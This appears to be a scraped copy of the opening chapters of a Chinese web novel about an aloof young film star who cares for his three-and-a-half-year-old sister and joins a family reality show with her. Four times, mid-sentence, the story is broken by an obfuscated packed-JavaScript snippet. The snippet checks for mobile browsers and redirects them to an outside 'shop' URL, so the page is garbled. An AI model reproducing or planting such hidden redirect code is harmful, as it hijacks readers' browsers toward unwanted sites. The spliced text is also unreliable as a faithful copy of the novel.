《奶团子三岁半》 1. 影帝的隐藏身份 六月的阳光毒辣得像后妈的手掌,一巴掌一巴掌扇在录制大厅的玻璃幕墙上。 姜牧野坐在化妆间里,任由化妆师在他脸上涂涂抹抹。镜子里的男人五官深邃,眉骨高挺,薄唇微抿,天生一副生人勿近的模样。 “牧野,今天的杂志拍摄大概需要三个小时,之后还有一个品牌方的视频会议……”经纪人在旁边絮絮叨叨地念行程表。 姜牧野面无表情地“嗯”了一声。 化妆师小心翼翼地给他画眉,手都有点抖。这位新晋影帝的气场实在太过强大,明明才二十三岁,坐在那里却像个判官,让人不自觉想把自己干过的坏事全交代了。 “下午三点之后的时间空出来。”姜牧野忽然开口。 经纪人愣了一下:“啊?可是下午还有一个——” “空出来。” 经纪人咽了咽口水:“好、好的。” 他不敢问为什么。姜牧野出道五年,从十八岁那部处女作一炮而红,到去年拿下金鹤奖最佳男主角,靠的不仅仅是演技,还有这副谁欠他三百万的表情。经纪公司给他的人设是“高冷禁欲系男神”,这个定位精准得像手术刀——因为他确实够冷。 没人知道的是,这位行走的冰山,每天下午四点必须准时出现在手机前,接一通视频电话。 化妆师退后一步,满意地看了看自己的作品:“姜老师,好了。” 姜牧野站起来,一米八七的身高让化妆间瞬间显得逼仄。他低头看了眼手表——下午三点五十八分。 他面不改色地拿起手机,迈开长腿走向休息室。 经纪人在后面追:“牧野,杂志那边——” “两分钟。” 经纪人:“……” 什么两分钟? 姜牧野推开休息室的门,反手锁上,靠在门板上,以迅雷不及掩耳之势拨出了视频通话。 嘟——嘟——嘟—— 第三声响起的瞬间,屏幕亮了。 一张圆滚滚的小脸占据了整个屏幕。 “哥哥!!!” 小女孩的声音清脆得像把弹珠洒在玻璃上,带着一种不管不顾的兴奋劲儿,差点把姜牧野的耳朵震聋。 姜牧野下意识把手机拿远了一点,但嘴角已经不受控制地微微上扬——幅度很小,大概只有零点五毫米,但对于一张常年零下二十度的脸来说,这已经是春天了。 “姜牧云。”他叫她的全名,声音却比刚才跟经纪人说话时低了八度,软了两个调,“今天乖不乖?” 屏幕里的小姑娘扎着两个冲天小揪揪,头发又细又软,像两朵蒲公英顶在脑袋上。脸蛋圆得像是用圆规画出来的,白里透粉,鼻头小小一点,嘴巴也小小一点,唯独一双眼睛又圆又大,黑白分明,像两颗水洗过的葡萄,亮晶晶地映着光。 她穿着一件印满小草莓的连衣裙,正盘腿坐在沙发上,怀里抱着一只耳朵都被揪歪了的兔子玩偶。 “哥哥,我今天超级乖!”姜牧云一本正经地说,小短手比了个“超级”的手势,手指头短短的,像五颗糯米团子,“我吃了胡萝卜!一整根!” 姜牧野挑眉:“你确定?” “……”姜牧云的葡萄眼心虚地转了转,“就是……可能……有一点点掉在地上了。” “掉在地上的你捡起来吃了?” “才没有!”小姑娘义正言辞,“掉在地上的给狗狗吃了!” 姜牧野:“……家里没有狗。” “有的!”姜牧云理直气壮,“我新养的!叫土豆!你看!” 她把手机镜头翻转,对准了客厅地板上一只—— 一只毛线袜子。 被揉成一团的、灰色的、毛线袜子。 姜牧野沉默了。 “土豆今天很乖!”姜牧云的声音从镜头后面传来,充满了慈爱,“它吃了一整根胡萝卜!比我吃的还多!” “姜牧云,”姜牧野深吸一口气,“那不是狗,那是我的袜子。” “是土豆!” “……” “哥哥你不爱土豆吗?土豆好可怜的,它都没有妈妈。” 姜牧野的太阳穴突突跳了两下。他抬手揉了揉眉心,忍住了想叹气的冲动。三秒后,他面无表情地说:“土豆是公的还是母的?” “公的!” “那它不需要妈妈。” “可是它需要爸爸呀!” “……” “哥哥你可以当土豆的爸爸吗?” “不行。” “为什么呀?” “因为它是我的袜子。” “可是它——” “姜牧云。”姜牧野的声音忽然沉下来。 屏幕那边安静了一秒。小姑娘把手机翻回来,葡萄眼小心翼翼地瞅着屏幕里的哥哥,小嘴巴微微抿着,像知道自己可能要挨骂了。 姜牧野看着她那张小脸,沉默了两秒。 “……下不为例。” 小姑娘的眼睛“唰”地亮了,像是有人在里面点了一盏灯。她“啪”地把手机贴在脸上,整张屏幕都是她肉乎乎的脸颊:“哥哥最好了!哥哥是世界上最好的哥哥!比冰淇淋还好!” 姜牧野的嘴角终于没忍住,弯了一下。 只是一下。 但足够了。 “阿姨呢?”他问。 “阿姨去买菜了!”姜牧云晃着两个小揪揪,“家里只有我和土豆!土豆好乖的,它都没有乱跑!” 姜牧野看了眼屏幕上那只毛线袜子的位置——明明刚才还在茶几旁边,现在已经跑到了电视柜下面。 “它动了。”姜牧野说。 “没有!”姜牧云头摇得像拨浪鼓,“土豆在睡觉!睡觉不会动的!” “刚才它在茶几旁边,现在在电视柜下面。” “那是因为……因为……”小姑娘的脑子飞速运转,小眉毛皱成一团,显然在编一个能圆过去的理由,“因为土豆会瞬移!” “……” “哥哥你不相信土豆会瞬移吗?” “你觉得我应该相信吗?” “可是哥哥你上次说圣诞老人会从烟囱爬进来给我送礼物的!圣诞老人也会瞬移!你为什么相信圣诞老人不相信土豆!” 姜牧野:“……” 他忽然觉得,三岁半的人类幼崽,可能是地球上逻辑最严密的生物——只不过他们的逻辑起点和正常人不太一样。 “好,”他妥协了,“土豆会瞬移。” “耶!”姜牧云欢呼了一声,然后把手机翻过去对着地板,“土豆你听到了吗!哥哥相信你了!你开心吗!” 毛线袜子纹丝不动。 “它好开心!”姜牧云替他翻译,“它说谢谢哥哥!” 姜牧野决定终止这个话题:“阿姨几点回来?” “唔……阿姨说很快很快!就是……”她歪着头想了想,“就是哥哥的很快和阿姨的很快不一样。哥哥的很快是两分钟,阿姨的很快是好多个两分钟。” 姜牧野看了眼时间——已经通话七分钟了。 “哥哥要工作了对不对?”姜牧云忽然问,语气里没有撒娇,也没有不舍,就是很平常地问了一句。 姜牧野顿了顿:“……嗯。” “那哥哥去吧!”小姑娘冲他挥了挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437528|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,小手在屏幕里只剩下一团肉色的虚影,“姜牧云会乖乖的!土豆也会乖乖的!” “……嗯。” “哥哥拜拜!明天见!” “明天见。” 姜牧野没有立刻挂断。他看着屏幕里的小姑娘抱着兔子玩偶,从沙发上滑下来,小短腿悬在半空晃了晃才踩到地板,然后踉跄了一下,又稳稳站住。她跑到茶几旁边,蹲下来,对着那只毛线袜子嘀嘀咕咕地说着什么,声音太小了,听不清楚,但能看到她的小嘴巴一张一合,表情认真得像在发表重要演讲。 然后她忽然抬起头,对着手机的方向喊了一句:“哥哥你怎么还没挂呀!” 姜牧野的手指顿了一下。 “……马上挂。” “哥哥你是不是舍不得姜牧云呀?” “不是。” “骗人!”小姑娘笑得眼睛弯成两道月牙,“哥哥你的耳朵红了!我看见啦!” 姜牧野面无表情地按下了挂断键。 屏幕暗下来的那一刻,休息室里安静得能听见空调运转的嗡嗡声。他靠在门板上,低头看着黑掉的屏幕,沉默了很久。 然后他抬手摸了摸自己的耳朵。 确实有点烫。 他面无表情地想:这个破手机,色差也太严重了。 经纪人敲门进来的时候,姜牧野已经恢复了那副生人勿近的表情,坐在沙发上翻杂志,好像刚才什么都没有发生过。 “牧野,杂志那边催了——” “走。” 经纪人跟在后面,总觉得哪里不对。他偷偷打量了姜牧野一眼——还是那张冷脸,还是那股生人勿近的气场。但他总觉得,影帝大人的耳垂,好像比刚才红了一点点。 大概是被太阳晒的吧。 下午的杂志拍摄主题是“冷峻绅士”,姜牧野换了一套黑色西装,头发被往后梳起,露出饱满的额头和凌厉的眉骨。摄影师兴奋得不行,快门按得噼里啪啦响。 “姜老师,表情再冷一点!” 姜牧野微微侧头,眼神淡漠地看着镜头。 “对对对!就是这个!杀手的眼神!” “再冷一点!生无可恋的感觉!” 姜牧野想到刚才姜牧云说“哥哥你是不是舍不得我”时那张得意洋洋的小脸。 他的表情终于冷了。 是真冷。 摄影师激动得差点把相机摔了:“完美!!!” 拍摄结束后,姜牧野坐在休息区喝水,手机屏幕亮了一下。是家里的阿姨发来的一条微信消息,附带一张照片。 阿姨:云云说要给哥哥看她的新作品。 照片里,姜牧云坐在地板上,周围摊着一堆五颜六色的彩笔。她举着一张画纸,上面画了一团乱七八糟的线条,勉强能看出是个人形——头特别大,身体特别小,两条腿像两根火柴棍。 画的旁边歪歪扭扭地写了几个字,与其说是字,不如说是蚯蚓在纸上打过滚: “哥哥我愛你” “哥”字少了一个横,“愛”字的心写得特别大,几乎占了半个字的位置。 姜牧野盯着那张照片看了整整一分钟。 然后他长按图片,点了保存。 经纪人路过的时候瞄了一眼他的手机屏幕,差点以为自己产生了幻觉—— 那个号称“娱乐圈行走的冰山”的男人,正对着手机屏幕,嘴角上扬了至少三毫米。 三毫米。 这在姜牧野的脸上,已经算放声大笑了。 经纪人默默地在心里把明天的行程表上加了一行备注: 下午四点,不许安排任何工作。 2. 综艺邀请 事情的起因是一档综艺节目。 准确地说,是一档叫《世界第一喜欢你》的亲子真人秀。节目组每期邀请四组嘉宾,记录父母和孩子或者兄弟姐妹之间的日常相处。这档节目已经播了两季,收视率稳居同时段第一,原因是——真实。 没有剧本,没有任务卡,就是把几组嘉宾扔到一个地方,架好摄像头,然后看他们自己产生化学反应。 第三季筹备期间,节目组的总导演陈明远做了一个梦。 他梦见自己蹲在地上啃盒饭,盒饭里的鸡腿忽然开口说话了。鸡腿说:“陈导,你要是能请到姜牧野上节目,我就把自己变成烤全羊。” 陈明远惊醒之后,第一件事就是给姜牧野的经纪人打电话。 “喂,王哥,我陈明远啊!对对对,《世界第一喜欢你》那个……是这样的,第三季我们想请姜老师……” “不可能的。”经纪人王哥在电话那头斩钉截铁,“牧野从来不接综艺。” “不是,王哥你先别急,我们这个节目不一样的——” “陈导,我跟你说实话吧,牧野这个人你是知道的,性格比较……内敛。他不太适合综艺节目的氛围。而且他档期排满了,真的抽不出时间。” 陈明远咬咬牙:“我可以配合姜老师的时间!他什么时候有空我们就什么时候录!” “不是时间的问题——” “两千万。” “……陈导,这不是钱的事——” “两千五百万。八期节目,每期录制两天一夜。不需要姜老师刻意搞笑,他做自己就行。” 电话那头沉默了很久。 “我……问问他吧。”王哥说。 陈明远挂了电话,觉得自己离烤全羊又近了一步。 王哥确实问了。 他选了一个姜牧野心情看起来还不错的时刻——也就是下午四点零七分,姜牧野刚跟姜牧云通完视频电话,嘴角还残留着零点五毫米的弧度。 “牧野,《世界第一喜欢你》的节目邀请,你有没有兴趣?” “没有。” “片酬两千五百万。” “没有。” “陈导说不需要刻意表现,做自己就行。” “我说了没——” “他说可以带家属。” 姜牧野翻剧本的手停了。 他慢慢抬起头,看着王哥。 王哥被他那双深邃的眼睛盯得后背发凉,但还是硬着头皮继续说:“这个节目的形式是记录嘉宾的日常生活,可以是父母和孩子,也可以是兄弟姐妹。陈导说……如果姜牧野有合适的家人,可以一起参加。” 姜牧野沉默了很久。 久到王哥以为他要拒绝了。 “什么时间录?”姜牧野问。 王哥差点以为自己听错了:“啊?” “录制时间。” “呃……每期两天一夜,第一期大概在两周后——” “我看看档期。” 王哥张了张嘴,又闭上了。他跟在姜牧野身边五年,太了解这个人了。姜牧野说“看看档期”,翻译过来就是“我会想办法把档期空出来”。 他忽然有点同情那些已经排好行程的品牌方。 但同时,他也很好奇——能让姜牧野破例的,到底是怎样的“家属”? 姜牧野没有解释。 他只是拿起手机,给阿姨发了一条消息: 下周一开始,每天带云云去户外活动两个小时,让她习惯被陌生人看到。 阿姨回了一个问号。 姜牧野没有回复。 当天晚上,姜牧野回到公寓,打开门的时候,客厅里安安静静的。 阿姨在厨房洗碗,看到他回来,小声说:“云云今天玩累了,八点就睡了。” 姜牧野点点头,换了拖鞋走进去。 客厅的茶几上摊着一堆彩笔和画纸,旁边还有半杯没喝完的牛奶。他弯腰把牛奶杯端起来放到厨房,回来的时候,看到了茶几上最上面那张画纸。 画上画了三个人。 准确地说,是三个头大身子小的火柴人。中间那个最高,穿着一件黑色的衣服——大概是西装。左边那个很小,头上顶着两个圆形的凸起——应该是两个小揪揪。右边那个……姜牧野辨认了很久,才看出那是一只四条腿的生物。 土豆。 画的顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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出发 出发那天,姜牧野凌晨四点就醒了。 不是兴奋,是焦虑。 他躺在床上,睁着眼睛盯着天花板,脑子里飞速运转着一份只有他自己知道的清单: 云云的换洗衣服——带了,十二套,虽然只录两天。云云的零食——带了,草莓味的一切食物,虽然节目组会提供伙食。云云的兔子——带了,虽然耳朵已经快被揪掉了。云云的绘本——带了,五本,虽然她每本都看过两百遍了。云云的退烧药、创可贴、驱蚊水、防晒霜、湿纸巾、干纸巾、免洗洗手液——都带了,虽然他只有两只手。 他翻了个身,又想到一个问题:如果云云在镜头前说一些不该说的话怎么办? 比如上次视频通话时,她对着镜头大喊“哥哥你今天穿的内裤是不是红色的因为是你本命年”。 他才二十三岁。本命年还有好几年。 姜牧野深吸一口气,又翻了个身。 凌晨五点,他放弃了挣扎,起床开始收拾行李——虽然昨晚已经收拾了三遍。 早上七点,他拖着两个二十八寸的行李箱走到姜牧云的房间门口。 小团子还在睡。 她今天的睡姿是“海星式”——四肢张开,趴在床上,脸埋在枕头里,屁股撅得高高的。被子又蹬到了脚边。兔子玩偶被她骑在身下,看起来非常可怜。 姜牧野蹲在床边,伸手轻轻戳了戳她的脸颊。 软的。 像戳在一团棉花糖上。 “姜牧云。”他低声叫。 没反应。 “姜牧云,起床了。” 还是没反应。 “草莓冰淇淋。” 姜牧云的耳朵动了一下。 没错,她的耳朵动了。像一只听到食物动静的小仓鼠,那只小小的、粉粉的耳朵微微颤动了一下。 姜牧野面无表情地说:“今天有草莓冰淇淋吃,不起床就没有了。” 姜牧云的眼睛“唰”地睁开了。 那叫一个快。像有人在她脑子里按了一个开关,上一秒还是深度睡眠,下一秒就清醒得像一只发现猎物的小猫。 “草莓冰淇淋在哪里!”她猛地抬起头,脸上还有枕头印出的褶子,头发炸成了一个鸟窝。 “在录制现场。”姜牧野面不改色地撒谎,“你乖乖跟我去,就有。” 姜牧云眨了眨眼睛,葡萄眼慢慢聚焦,看清了蹲在床边的人。 “哥哥!”她立刻张开双臂,“抱!” 姜牧野叹了口气,把她从床上捞起来。小姑娘像一只树袋熊一样挂在他身上,脑袋搁在他肩膀上,暖烘烘的,还带着一股奶味儿。 “哥哥,我们今天要去哪里呀?”她揉着眼睛问,声音哑哑的,像只刚出壳的小鸭子。 “去一个好玩的地方。” “有好吃的吗?” “有。” “有兔子吗?” “……应该没有。” “那有小兔子吗?” “没有。” “那有大兔子吗?” “没有。兔子就是兔子,没有大兔子小兔子的区别。” “可是哥哥你刚才说应该没有,那就是可能有呀。” 姜牧野:“……” 他被自己的话噎住了。 姜牧云满意地拍了拍他的肩膀:“哥哥不要担心,姜牧云会保护你的!” 姜牧野沉默了两秒:“你把口水擦在我衣服上了。” “没有!”姜牧云立刻否认,但偷偷用袖子蹭了蹭他肩膀上的湿痕。 姜牧野假装没看到。 上午九点,节目组的车到了。 来接他们的是一辆黑色商务车,车身上贴着《世界第一喜欢你》的logo。随行导演是个三十出头的女人,姓周,圆脸,看起来很和气。 “姜老师好!”周导热情地打招呼,然后弯下腰看向姜牧野身后的方向,“这就是妹妹吧?哇,好可爱!” 姜牧云从姜牧野的腿后面探出半个脑袋,两个小揪揪先露了出来,然后是那双亮晶晶的葡萄眼。她打量了周导三秒钟,然后缩了回去。 “她可能是有点怕生。”工作人员说。 “正常的正常的!”周导笑着说,“小朋友到了新环境都需要适应——” “她不是怕生,”姜牧野面无表情地纠正,“她是在判断你值不值得信任。” 周导愣了一下:“……那她判断出来了吗?” 姜牧野低头看了一眼腿后面的小团子。 姜牧云又探出脑袋,认真地看了看周导,然后奶声奶气地说:“阿姨你的耳环好好看!是小蝴蝶!” 周导的耳环确实是蝴蝶形状的。 她惊讶地摸了摸耳环:“谢谢你呀,小朋友——” “可以送给我吗?” “……” “姜牧云。”姜牧野的声音沉下来。 “开玩笑的啦!”姜牧云立刻笑嘻嘻地说,从哥哥腿后面蹦出来,主动朝周导伸出了小手,“阿姨你好,我叫姜牧云,今年三岁半。我哥哥叫姜牧野,他今年二十三岁,他没有女朋友,因为他说工作太忙了。但是我觉得是因为他太凶了,把女孩子都吓跑了。” 空气突然安静了。 周导的表情在“好可爱”和“好尴尬”之间反复横跳。 姜牧野面无表情地把姜牧云拎起来,夹在胳膊下面,像夹着一只不听话的小猫。 “上车。” “哥哥你放我下来!我不是行李!我是你妹妹!” “你现在是行李。” “那行李要坐头等舱!” “这是商务车,没有头等舱。” “那行李要坐副驾驶!” “不行。” “为什么呀!” “因为副驾驶放了我的包。” “那我和包谁更重要?” 姜牧野把她塞进儿童安全座椅里,低头系安全带的时候,用只有两个人能听到的声音说:“你。” 姜牧云愣了一下,然后笑得眼睛弯成月牙:“哥哥你说什么?我没听清!” “没听清就算了。” “我听清了!你说我重要!你说我比包重要!” “我说的是你和包一样重要。” “骗人!哥哥你耳朵又红了!” 姜牧野“砰”地关上了车门。 周导在旁边目睹了全程,默默在心里记下了一笔: 姜牧野×姜牧云——这组嘉宾,可能是本季最大的爆点。 车子驶出市区,上了高速。 姜牧云坐在安全座椅里,一开始还很兴奋,扒着车窗看外面的风景,小嘴巴不停地输出: “哥哥你看那朵云好像一只狗狗!”“哥哥那棵树好像在跳舞!”“哥哥那个大卡车好大!比你还大!”“哥哥——” “姜牧云,”姜牧野闭着眼睛靠在座椅上,“你能不能安静五分钟?” “好呀!”姜牧云爽快地答应了。 三秒后。 “哥哥,五分钟到了吗?” “……没有。” 又过了三秒。 “哥哥,现在到了吗?” “姜牧云。” “好吧好吧,我安静。”她用小手捂住自己的嘴巴,只露出两只圆溜溜的眼睛,一眨一眨地看着姜牧野。 姜牧野睁开眼睛看了她一眼。 小姑娘捂着自己的嘴,表情无辜得像一只刚偷了鱼干的猫。 他叹了口气,伸手从包里掏出一袋草莓味的饼干,递给她。 姜牧云的眼睛瞬间亮了。她接过饼干,小声道:“谢谢哥哥!我最爱哥哥了!” 然后她撕开饼干包装,拿出一块,先递到姜牧野嘴边:“哥哥先吃!” 姜牧野张嘴咬了一口。 “好吃吗?” “嗯。” “那再吃一口!” “不用了,你吃。” “哥哥吃!哥哥多吃点!哥哥太瘦了!瘦得像一根筷子!不对,像一根牙签!” “……你从哪里学来的这些话?” “阿姨说的!阿姨说‘你哥哥瘦得跟个竹竿似的,也不知道好好吃饭’!” 姜牧野决定回去给阿姨加工资——封口费。 车子开了两个小时,姜牧云吃了三袋饼干、喝了一盒草莓牛奶、唱了四首跑调的儿歌、给姜牧野讲了两个逻辑破碎的睡前故事(“从前有一只小兔子,它去找胡萝卜,然后它找到了,然后它就吃掉了,然后它就回家了,然后它就睡觉了,然后故事就讲完了!哥哥你觉得好听吗?”),终于—— 睡着了。 她的脑袋歪在安全座椅上,小嘴微张,嘴角还沾着草莓牛奶的痕迹。手里还捏着半块没吃完的饼干,饼干屑撒了一身。 车里终于安静了。 姜牧野侧头看了她一眼。 阳光透过车窗照进来,落在她的小脸上,睫毛在脸颊上投下一片扇形的阴影。她的睫毛很长,像两把小刷子,偶尔轻轻颤动一下,大概是在做梦。 姜牧野伸手,轻轻把她手里的半块饼干拿掉,用湿巾擦干净她的手和脸,又把自己的外套脱下来盖在她身上。 动作很轻,很慢,像在处理一件易碎品。 周导从后视镜里看到这一幕,差点把方向盘打歪了。 她从业十二年,采访过无数明星,见过各种各样的亲子互动。但“高冷影帝给三岁妹妹擦嘴”这种画面,她是真的没见过。 而且那个擦嘴的动作——先用湿巾擦嘴角,再用纸巾吸干水分,最后用润唇膏薄薄涂一层防止干裂—— 这TM是擦嘴还是文物修复? 周导深吸一口气,告诉自己:冷静,你是专业导演,不要被嘉宾的私人行为影响判断。 然后她偷偷用手机拍了一张照片,发到了节目组的群里。 周导:[图片] 周导:我觉得我们这季的收视率不用愁了。 节目组群里瞬间炸了。 摄像组-小刘:???这是姜牧野??? 策划-安娜:他在干什么???给妹妹盖衣服??? 后期-大鹏:我靠,这个男人温柔起来也太犯规了吧 制片-张姐:所以他的高冷人设果然是装的吗 策划-李哥:不是装的,你们没看到他刚才在车上那个表情,对妹妹和对工作人员完全是两个人 周导:准确地说,是对妹妹和对妹妹以外的人完全是两个人 后期-大鹏:我忽然很期待这季的素材了 制片-张姐:我忽然觉得两千五百万花得很值 策划-安娜:我忽然想有个哥哥 周导:……你们能不能专业一点 周导:[但我也想要] 姜牧野当然不知道这一切。 他只是安静地坐在车上,看着窗外飞速后退的风景,偶尔低头看一眼身边睡着的小团子。 车子驶入了一个小镇,路两边是大片的向日葵花田,金灿灿的,在阳光下像铺了一地的碎金。 姜牧云在睡梦中嘟囔了一声:“……花花。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那根细细的、软软的、几乎没有力气的手指,握住了姜牧野的食指。 姜牧野低头看着那只手。 二十岁的少年,站在医院冷白色的走廊里,怀里抱着一个比他生命还重的东西。 他哭了。 没有声音,就是眼泪一颗一颗地掉下来,落在襁褓上,洇出深色的小圆点。 那本翻烂了的剧本从他手里滑落,掉在地上,翻到了第三十七页。上面有他用铅笔反复描过的三句台词,旁边画满了标注和笔记。 但那一刻,他什么都忘了。 他只记得那个小人握着他手指的力度——很轻,轻得像一阵风就能吹散。但他觉得,那是他这辈子感受到的最重的重量。 后来他才明白,那叫责任。 再后来,他拿到了那个角色。再后来,他一个角色接一个角色地演,一部戏接一部戏地拍。他从群演到特约,从配角到主角,从新人到影帝。 所有人都在问他:“你是怎么做到的?” 他说:“因为我有一个妹妹。” 所有人都以为他在开玩笑。 他没在开玩笑。 是真的。 他做这一切,都是为了那个在医院的走廊里握住他手指的小人。他想给她最好的生活,想让她不用为任何事发愁,想让她永远笑得像向日葵一样灿烂。 所以他在娱乐圈里拼了命地往上爬。 所以他把自己变成了一座冰山,因为在这个圈子里,温柔是奢侈品,冷漠才是铠甲。 所以他在外人面前永远是一副生人勿近的样子—— 但每次接到那个小团子的视频电话,冰山就化了。 不是慢慢地化,是“哗啦”一下,碎得连渣都不剩。 “哥哥。” 一个软糯糯的声音把他从回忆里拽了出来。 姜牧野低头,发现姜牧云不知道什么时候醒了,正睁着那双葡萄眼看着他。 “哥哥你在想什么?”她问,声音还带着刚睡醒的沙哑。 “……没什么。” “骗人,”姜牧云眨了眨眼睛,“哥哥你眼睛红了。” “风吹的。” “车里又没有风。” “空调吹的。” “空调的风不会把眼睛吹红,只会把脸吹干。阿姨说的。” “……” “哥哥你是不是哭啦?” “没有。” “那你为什么眼睛红红的?” “我说了,是空调。” “可是——” “姜牧云,你看外面。”姜牧野果断转移话题,指了指车窗外的向日葵花田。 姜牧云的注意力果然被瞬间转移了。她趴在车窗上,整张小脸都快贴到玻璃上了:“哇!!!好多花花!!!好漂亮!!!” “那叫向日葵。” “向日葵!向日葵!”她兴奋地拍着车窗,“哥哥你看它们都在笑!它们在对我笑!” 姜牧野看着窗外那些金灿灿的花盘,又看着车窗上映出的小团子的笑脸。 “嗯,”他说,声音很轻,“它们在对你笑。” 因为姜牧云值得全世界的花都对她笑。 这句话他没有说出来。 但没关系。 说不说出来,她都懂的。 4. 初见面 录制地点在一个叫“月亮湾”的民宿村。 村子坐落在山脚下,背后是连绵的青山,前面是一条清澈的小溪。十几栋白墙灰瓦的民居错落有致地分布在山坡上,被大片的草坪和花田包围着。空气里弥漫着青草和泥土的气息,偶尔能听到几声鸟叫。 节目组包下了整个村子,四组嘉宾将在这里度过两天一夜。 姜牧野的车到达的时候,其他三组嘉宾已经到了两组。 第一组是退役运动员孙磊和他的六岁儿子孙小壮。孙磊是前国家游泳队队员,拿过奥运会铜牌,退役后转型做体育解说,身材魁梧,嗓门洪亮,笑起来像个弥勒佛。他儿子孙小壮完美继承了他的基因——六岁,一米三,壮得像头小牛犊,站在他爸旁边像缩小版的他爸。 第二组是演员苏瑶和她四岁的女儿林恬恬。苏瑶是当红小花,以甜美形象著称,去年刚拿了金鹰奖最受观众喜爱女演员奖。她女儿林恬恬长得跟她一模一样,大眼睛、小嘴巴、卷卷的头发,像个洋娃娃。 第三组是素人家庭——一个单亲爸爸带着五岁的儿子。这组嘉宾还没到。 姜牧野从车上下来的时候,所有人的目光都集中了过来。 孙磊正在草坪上跟儿子踢球,看到姜牧野,愣了一下,然后咧嘴笑了:“哟,姜老师!真来了啊!我还以为节目组吹牛呢!” 他大步走过来,伸出手。姜牧野跟他握了握,礼貌地点头:“孙老师好。” “别别别,什么孙老师,叫我磊哥就行!”孙磊拍了拍他的肩膀,力道大得姜牧野的肩膀往下沉了三公分,“你小子比电视上还高啊!多高?” “一米八七。” “嚯!比我高五公分!来来来,咱俩站一起比比——” “爸爸!”一个稚嫩的声音打断了他们的对话。 姜牧野低头,发现自己的裤腿被一只小手揪住了。 姜牧云不知道什么时候从车里钻了出来,正仰着头看他,表情严肃得像个小大人。 “哥哥,你不要跟陌生人说话。”她一本正经地说,“阿姨说了,不要跟陌生人走,也不要跟陌生人说话。” 孙磊哈哈大笑:“小朋友,我不是陌生人!我是你哥哥的朋友!” 姜牧云警惕地看着他,上下打量了一番,然后小声对姜牧野说:“哥哥,这个叔叔好大只。” 孙磊笑得更厉害了:“对对对,叔叔很大只!你叫什么名字呀?” 姜牧云缩到姜牧野腿后面,只露出半个脑袋:“我叫姜牧云。” “姜牧云?好听!你几岁了?” “……三岁半。” “三岁半啊!那你跟孙小壮玩好不好?孙小壮!”孙磊转头大喊,“过来!” 一个壮实的小男孩从草坪上跑过来,跑起来像一辆小型坦克,脚下的草都被他踩得飞起来。 “这是我儿子,孙小壮,六岁了。”孙磊介绍道,“小壮,这是姜牧野叔叔——不对,姜牧野哥哥?这辈分怎么算……” “叫叔叔就行。”姜牧野说。 “姜叔叔好!”孙小壮中气十足地喊了一声,然后低头看向姜牧云,“你好!” 姜牧云从姜牧野腿后面探出脑袋,看了看孙小壮,又缩了回去。 “她有点怕生。”姜牧野解释。 “正常的正常的!”孙磊摆摆手,“小壮刚来的时候也怕生,现在你看,满院子疯跑——” “爸爸,我没有疯,我是在踢球。”孙小壮严肃地纠正。 “对对对,踢球踢球。” 正说着,又一辆车到了。 苏瑶从车上下来,穿着一身白色的运动装,戴着遮阳帽和墨镜,看起来像从杂志封面走出来的人。她身后跟着一个小女孩,正是林恬恬。 林恬恬扎着两个麻花辫,穿着一件粉色的公主裙,手里抱着一个比她脑袋还大的毛绒熊。她看到姜牧云,眼睛亮了一下。 “妈妈,那个小朋友好可爱!”她拉着苏瑶的手说。 苏瑶笑着走过来:“姜老师,好久不见!” 姜牧野点头:“苏老师。” “哎呀别这么客气,叫我瑶瑶就行。”苏瑶蹲下来,看着姜牧云,“这就是你妹妹吗?好可爱啊!几岁了?” 姜牧云这次没有躲。她看了看苏瑶,又看了看林恬恬,小声说:“三岁半。” “三岁半呀!那跟恬恬差不多大呢!”苏瑶把林恬恬拉过来,“恬恬四岁了,你们可以一起玩哦!” 林恬恬大方地走到姜牧云面前,把怀里的毛绒熊递过去:“给你玩!” 姜牧云看了看毛绒熊,又看了看林恬恬,犹豫了两秒钟,然后从姜牧野腿后面走出来,接过了毛绒熊。 “谢谢。”她说,声音小小的,但很认真。 “不客气!”林恬恬笑得露出两颗门牙,“你叫什么名字?” “姜牧云。” “我叫林恬恬!你可以叫我恬恬!” “恬恬。”姜牧云重复了一遍,然后想了想,“你可以叫我云云。” “云云!”林恬恬开心地拍手,“我们去玩吧!那边有秋千!” 姜牧云回头看了姜牧野一眼。 姜牧野点了点头。 小姑娘的脸上立刻绽开了一个笑容,抱着毛绒熊,跟着林恬恬跑向了草坪。 姜牧野看着她的背影,两个小揪揪在阳光下一晃一晃的,像两只飞舞的蝴蝶。 “你妹妹好乖啊。”苏瑶感慨道,“恬恬第一次见人的时候哭了半个小时。” “她不是乖,”姜牧野说,“她是在确认环境安全之后才会行动。” 苏瑶愣了一下:“……听起来像特种部队。” 姜牧野没有否认。 孙磊在旁边插嘴:“姜老师,你平时工作那么忙,还有时间带妹妹?” “尽量挤时间。” “不容易啊,”孙磊感叹,“我退役之后全职带娃都觉得累,你又是拍戏又是跑通告的……” “习惯了。”姜牧野淡淡地说。 他没有说出口的是——他做这一切,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 